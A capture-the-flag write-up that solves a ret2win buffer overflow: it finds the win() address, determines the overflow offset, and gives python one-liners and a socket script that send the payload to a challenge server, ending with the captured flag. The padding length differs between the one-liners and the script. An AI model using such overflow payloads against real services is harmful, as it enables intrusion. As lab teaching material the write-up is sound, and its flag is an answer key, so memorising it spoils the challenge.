We’re given a C source code file to analyze and its executable to test with.

Solution

I would like to preface this, that I have done this exact challenge from PicoCTF 2022, called buffer overflow 1 and at the time I followed along with John Hammond’s solution video. As a result, when I saw this challenge, I immediately recognized it and thus I used the solution developed by John Hammond, and simply modified it for this challenges specifics. Nonetheless I will demonstrate the knowledge I gained at the time and share it on this writeup, but I will give credit where its due, so thanks John!

Now on to how I retrieved the flag!

First we look at the chall.c file and notice immediately the gets function. A known vulnerable C function that is susceptible to buffer overflows. Furthermore, there’s an uncalled win function which will print out the flag. Now we want to overflow the gets function such that we can retrieve the flag through the uncalled win function.

How do we overflow the gets function? Well you need to pass in enough input until you can begin to control where you end up in memory. But we will need to know where in memory we want to go. How is this done? Using readelf I could find out where in memory the win function was loaded. Note that the -s is for symbols.

readelf -s chall

We see on our test machine that the win function is located in the following address: 0x08048486

Now we just need to pass in enough values until we can manipulate the memory address. I achived this by passing in an obnoxious amount of A’s to the program until I got a seg fault. I did this in chunks of 4 A’s at a time. Eventually I realized that adding 12 characters to the input string originally made to be size of 56 caused a segfault.

Checking with

sudo dmesg

We can see where the instruction pointer (ip) is pointing when it seg faults. Let’s add 1 more character to the string, like A we see where we end up with the tool. Using dmesg we see that theres a seg fault at an address ending in 0x41, which should look familiar as 0x41 is the hex value of A. Testing it with B we see it ending with 0x42. Now we know we can manipulate the memory to get to the win function.

Since we want to end up in 0x08048486, we will have to understand how memory works a little more. The concept of Endianness is important here. John does a great explanation about it here. But to summarize, essentially we need to take chunks of bytes (pairs of 2 in this case) and ‘invert’ it so to speak. These bytes are stored in memory using Little Endian encoding. Take a look below:

We want to change this address into Little Endian:
0x08048486

Grab the first 2 'characters' and put them at the end, then grab the next 2 'characters' and put them in the second to last place, and so on:
0x86840408

Here is how we will represent the bytes in Python:
\x86\x84\x04\x08

We check the conversion to bytes using the following command:

python3 -c "import sys; sys.stdout.buffer.write(b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x86\x84\x04\x08')" | xxd

Testing with the local function:

python3 -c "import sys; sys.stdout.buffer.write(b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x86\x84\x04\x08')" | ./chall

overflow

Lets write up a quick Python script, here is the direct download:

#!/usr/bin/env python3

import socket # dealing with internet connections
import argparse # pass arguments when calling the script so we can use it for any other CTF challenges
import struct # for changing the memory address into Little Endian.

# Build out the arg parser and args to take in
parser = argparse.ArgumentParser()
parser.add_argument(
    "host",
    type=str,
    help="The hostname or IP address to connect to"
)
parser.add_argument(
    "port",
    type=int,
    help="The port for the service to connect to"
)

args = parser.parse_args()

# for testing
print(args.host, args.port)

# Swaps the memory address to Little Endian for us
ip = struct.pack("<I", 0x08048486)

# 69 here represents the offset + 1
payload = b"".join(
    [
        b"A" * 69,
        ip
    ]
)
# Add the bytes for a newline to mimick pressing the "Enter" key
payload += b"\n"

# Takes care of closing the socket
with socket.socket() as conn:
    conn.connect((args.host, args.port))
    # print(conn.recv(4096).decode("utf-8"))
    conn.send(payload)
    print(conn.recv(4096).decode("utf-8"))

Running the script, we get the following response from the server:

magpie{0mn1_fl4g_3v3rywh3r3}